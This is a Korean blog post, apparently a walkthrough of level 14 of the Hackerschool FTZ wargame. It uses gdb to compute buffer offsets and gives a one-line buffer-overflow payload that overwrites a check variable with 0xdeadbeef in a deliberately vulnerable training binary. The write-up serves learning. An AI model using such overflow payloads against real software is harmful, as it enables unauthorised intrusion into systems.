어느새 level14 이다.
로그인을 하고, 파일 목록을 확인하고, 힌트를 확인한다.
대놓고 오버플로우와 포맷스트링 문제라고 말해준다. 이전에 level11부터 했던게 오버플로우, 포맷스트링 문제들이었다. 심화과정인가보다.
코드를 분석해보자.
check가 buf보다 높은 주소이고, buf를 20으로 할당했으나 45까지 입력할 수 있다.
이제 해야 될건 ⓐbuf와 check의 거리를 구해서 ⓑcheck 위치에 0xdeadbeef를 넣어주면 된다.
gdb로 정확한 분석을 해보자.
main+17 에서 buf 에서 RET 까지의 거리를 구할 수 있다.
buf ~ ebp 거리 = 56
buf ~ ret 거리 = 56 + 4 = 60
main+29 에서 check 에서 RET 까지의 거리를 구할 수 있다.
check ~ ebp 거리 = 16
check ~ ret 거리 = 16 + 4 = 20
따라서 buf ~ check 거리 = 60 - 20 = 40
이제 페이로드를 작성해보자.
아래와 같다.
(python -c 'print "\x90"*40 + "\xef\xbe\xad\xde"';cat) | ./attackme
# 0xdeadbeef 를 메모리에 올리려면 역순으로 써야 한다.
de ad be ef ==> ef be ad de
(역순)
짜잔
level15 암호 : guess what
'[Pwnable] 해커스쿨 FTZ' 카테고리의 다른 글
[해커스쿨 FTZ] level16 (0) | 2020.03.12 |
---|---|
[해커스쿨 FTZ] level15 (0) | 2020.03.12 |
[해커스쿨 FTZ] level13 (0) | 2020.03.12 |
[해커스쿨 FTZ] level12 (0) | 2020.03.12 |
[해커스쿨 FTZ] Level11 (0) | 2020.03.12 |